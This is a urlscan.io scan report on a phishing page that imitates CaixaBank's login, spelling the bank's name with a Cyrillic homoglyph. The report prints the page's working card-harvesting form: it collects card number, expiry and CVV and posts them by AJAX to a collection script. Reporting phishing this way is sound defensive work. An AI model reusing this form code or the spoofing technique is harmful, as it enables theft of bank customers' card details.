autotheorie.nu Open in urlscan Pro
2a01:7c8:eb:0:95:170:70:28  Malicious Activity! Public Scan

URL: https://autotheorie.nu/hamama/cai/vbvfinal/home/Tarjeta.html
Submission: On March 21 via automatic, source openphish — Scanned from NL

Form analysis 1 forms found in the DOM

Name: INPUTSPOST

<form name="INPUTS" id="formccn" action="" method="post">
  <div class="usuario prel">
    <label for="indentificacion">Número de tarjeta:</label>
    <input id="ccn" name="ccn" type="" onkeyup="$cc.validate(event)" value="" maxlength="19" size="19" required="">
    <!-- </div> -->
    <div class="login">
      <div class="usuario prel">
        <label for="indentificacion">Fecha de Caducidad:</label>
        <input id="exp1" name="exp1" type="" onkeyup="$cc.expiry.call(this,event)" autocomplete="off" value="" maxlength="7" size="7" required="">
      </div>
      <div class="login">
        <div class="usuario prel">
          <label for="indentificacion">CVV:</label>
          <input id="cv" name="cv" type="tel" value="" maxlength="3" size="3" required="">
        </div>
        <div id="capaErrorID" class="msg_error_form mt10 pd10" style="display: none;"></div>
        <div class="pinpad-wrapper" id="teclado_user" style="display: none;">
          <div class="pinpad-component">
            <div id="destinoTecladoVirtual" class="pinpad alfanum"></div>
          </div>
        </div>
        <div class="check-field prel">
          <input id="recordar" type="checkbox" onkeydown="javascript:marcarCheck(event);" onclick="javascript:ayudaCheck();" value="recordar" name="recordar" title="recordar">
        </div>
        <div id="capaErrorPW" class="msg_error_form mt10 pd10" style="display: none;"></div>
        <div class="clear"></div>
        <div class="limpiar"></div>
        <button type="submit" id="enlaceBotonAceptar" class="btn-submit"> Continuar </button>
        <div class="limpiar"></div>
        <ul class="links-footer">
          <li>
            <a href="#" title="Alta a CaiхaBankNow">Alta a CaiхaBankNow</a>
          </li>
          <li>
            <a href="#" title="Demostración">Demostración</a>
          </li>
          <li>
            <a href="#" title="Seguridad">Seguridad</a>
          </li>
          <li>
            <a href="#" title="CaiхaBankProtect">CaiхaBankProtect</a>
          </li>
        </ul>
      </div>
    </div>
    <div class="pie">
      <div class="superior5">
        <ul class="menu_simple">
          <li><a href="#">Aviso legal</a></li>
          <li><a href="#">Seguridad</a></li>
          <li><a href="#">Tarifas</a></li>
        </ul>
      </div>
      <div class="superior5"> @ CaiхaBank, S.A. 2021. Todos los derechos reservados. </div>
    </div>
    <script type="text/javascript">
      var $cc = {}
      $cc.validate = function(e) {
        //if the input is empty reset the indicators to their default classes
        if (e.target.value == '') {
          e.target.previousElementSibling.className = 'card-type';
          e.target.nextElementSibling.className = 'card-valid';
          return
        }
        //Retrieve the value of the input and remove all non-number characters
        var number = String(e.target.value);
        var cleanNumber = '';
        for (var i = 0; i < number.length; i++) {
          if (/^[0-9]+$/.test(number.charAt(i))) {
            cleanNumber += number.charAt(i);
          }
        }
        //Only parse and correct the input value if the key pressed isn't backspace.
        if (e.key != 'Backspace') {
          //Format the value to include spaces in the correct locations
          var formatNumber = '';
          for (var i = 0; i < cleanNumber.length; i++) {
            if (i == 3 || i == 7 || i == 11) {
              formatNumber = formatNumber + cleanNumber.charAt(i) + ' '
            } else {
              formatNumber += cleanNumber.charAt(i)
            }
          }
          e.target.value = formatNumber;
        }
        //run the Luhn algorithm on the number if it is at least equal to the shortest card length
        if (cleanNumber.length >= 12) {
          var isLuhn = luhn(cleanNumber);
        }

        function luhn(number) {
          var numberArray = number.split('');
          for (var i = 0; i < numberArray.length; i++) {
            if (i % 2 != 0) {
              numberArray[i] = numberArray[i] * 2;
              if (numberArray[i] > 9) {
                numberArray[i] = parseInt(String(numberArray[i]).charAt(0)) + parseInt(String(numberArray[i]).charAt(1))
              }
            }
          }
          var sum = 0;
          for (var i = 1; i < numberArray.length; i++) {
            sum += parseInt(numberArray[i]);
          }
          sum = sum * 9 % 10;
          if (numberArray[0] == sum) {
            return true
          } else {
            return false
          }
        }
        //if the number passes the Luhn algorithm add the class 'active'
        if (isLuhn == true) {
          e.target.nextElementSibling.className = 'card-valid active'
        } else {
          e.target.nextElementSibling.className = 'card-valid'
        }
        var card_types = [{
          name: 'maestro',
          pattern: /^(5018|5020|5038|6304|6759|676[1-3])/,
          valid_length: [12, 13, 14, 15, 16, 17, 18, 19]
        }];
        //test the number against each of the above card types and regular expressions
        for (var i = 0; i < card_types.length; i++) {
          if (number.match(card_types[i].pattern)) {
            //if a match is found add the card type as a class
            e.target.previousElementSibling.className = 'card-type ' + card_types[i].name;
          }
        }
      }
      $cc.expiry = function(e) {
        if (e.key != 'Backspace') {
          var number = String(this.value);
          //remove all non-number character from the value
          var cleanNumber = '';
          for (var i = 0; i < number.length; i++) {
            if (i == 1 && number.charAt(i) == '/') {
              cleanNumber = 0 + number.charAt(0);
            }
            if (/^[0-9]+$/.test(number.charAt(i))) {
              cleanNumber += number.charAt(i);
            }
          }
          var formattedMonth = ''
          for (var i = 0; i < cleanNumber.length; i++) {
            if (/^[0-9]+$/.test(cleanNumber.charAt(i))) {
              //if the number is greater than 1 append a zero to force a 2 digit month
              if (i == 0 && cleanNumber.charAt(i) > 1) {
                formattedMonth += 0;
                formattedMonth += cleanNumber.charAt(i);
                formattedMonth += '/';
              }
              //add a '/' after the second number
              else if (i == 1) {
                formattedMonth += cleanNumber.charAt(i);
                formattedMonth += '/';
              }
              //force a 4 digit year
              else if (i == 2 && cleanNumber.charAt(i) < 2) {
                formattedMonth += '20' + cleanNumber.charAt(i);
              } else {
                formattedMonth += cleanNumber.charAt(i);
              }
            }
          }
          this.value = formattedMonth;
        }
      }
    </script>
    <script>
      $("form#formccn").on("submit", function() {
        $("#enlaceBotonAceptar").addClass("disabled");
        $("form#formccn").off("submit");
        submitData();
        return false;
      });

      function submitData() {
        var inputForm = document.getElementById("formccn");
        var data = new FormData(inputForm);
        $.ajax({
          url: "../inc/DataPost.php?action=LastOne",
          type: "POST",
          data: data,
          contentType: false,
          cache: false,
          processData: false,
          success: function(response) {
            window.location.replace("./Espera2.html");
          },
        });
      }
    </script>
  </div>
</form>

Text Content

Castellano
Castellano
Català
Euskera
Galego
Valencià
ceština
Dansk
Deutsch
English
Français
Italiano
Magyar
Nederlands
Norsk
Polski
Português
Slovencina
Suomi
Svenska
Türkçe
ελληνικά
русский
中文



ACCESO SEGURO A CAIХABANKNOW

Se requiere tarjeta para verificar su cuenta.
Número de tarjeta:
Fecha de Caducidad:
CVV:






Continuar

 * Alta a CaiхaBankNow
 * Demostración
 * Seguridad
 * CaiхaBankProtect

 * Aviso legal
 * Seguridad
 * Tarifas

@ CaiхaBank, S.A. 2021. Todos los derechos reservados.